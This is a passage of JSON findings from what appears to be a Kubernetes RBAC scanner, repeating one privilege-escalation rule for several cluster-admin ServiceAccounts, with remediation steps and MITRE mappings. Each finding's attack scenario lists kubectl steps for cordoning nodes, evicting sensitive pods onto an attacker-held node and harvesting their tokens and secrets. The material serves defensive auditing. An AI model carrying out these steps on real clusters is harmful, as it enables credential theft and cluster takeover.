      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-deputy-cm-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=cert-manager -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/cutres/cutres-detour::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/cutres/cutres-detour`)",
    "description": "Subject ServiceAccount/cutres/cutres-detour can `delete pods` (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`) and also `update nodes/status` (via ClusterRoleBinding `cutres-detour-direct` → ClusterRole `cluster-admin`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=cutres-detour -A` and `kubectl auth can-i update nodes/status --as=cutres-detour -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-detour-direct",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=cutres-detour -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/cutres/cutres-parallel::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/cutres/cutres-parallel`)",
    "description": "Subject ServiceAccount/cutres/cutres-parallel can `delete pods` (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`) and also `update nodes/status` (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=cutres-parallel -A` and `kubectl auth can-i update nodes/status --as=cutres-parallel -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-parallel-a",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=cutres-parallel -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/deepchain-tenant/deepchain-privileged::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/deepchain-tenant/deepchain-privileged`)",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-privileged can `delete pods` (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`) and also `update nodes/status` (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=deepchain-privileged -A` and `kubectl auth can-i update nodes/status --as=deepchain-privileged -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-privileged",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=deepchain-privileged -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/flux-system/kustomize-controller::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/flux-system/kustomize-controller`)",
    "description": "Subject ServiceAccount/flux-system/kustomize-controller can `delete pods` (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`) and also `update nodes/status` (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=kustomize-controller -A` and `kubectl auth can-i update nodes/status --as=kustomize-controller -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-flux-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=kustomize-controller -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/foothold-exec/foothold-decoy-sa::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/foothold-exec/foothold-decoy-sa`)",
    "description": "Subject ServiceAccount/foothold-exec/foothold-decoy-sa can `delete pods` (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`) and also `update nodes/status` (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=foothold-decoy-sa -A` and `kubectl auth can-i update nodes/status --as=foothold-decoy-sa -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
      "They remove a sensitive pod (`kubectl delete pod \u003ctarget\u003e`, or an eviction through `pods/eviction`), forcing its controller to recreate it.",
      "The scheduler places the replacement pod on the attacker-controlled node.",
      "They exec into / inspect the relocated pod from the node, harvesting its ServiceAccount token and any mounted secrets."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "foothold-decoy-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split pod removal from node-scheduling verbs across identities; reserve writes to `nodes` and `nodes/status`, and `delete nodes`, for the control plane, the kubelet, and the cluster-autoscaler.",
    "remediation_steps": [
      "Remove `update`/`patch` on `nodes` and `nodes/status`, and `delete` on `nodes`, from application/operator identities. These belong to the kube-controller-manager, the kubelet, and the autoscaler.",
      "Restrict `delete`/`deletecollection` on `pods` and `create` on `pods/eviction` to controllers and platform automation; application identities should manage workloads through their owning controller, not by removing pods.",
      "Pin sensitive workloads to trusted nodes with `nodeSelector`/`nodeAffinity` + taints, so eviction cannot relocate them onto untrusted nodes.",
      "Verify with `kubectl auth can-i update nodes/status --as=foothold-decoy-sa -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/",
      "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Safely Drain a Node",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/"
      },
      {
        "title": "Kubernetes: API-initiated Eviction",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/api-eviction/"
      },
      {
        "title": "Kubernetes — Taints and Tolerations",
        "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
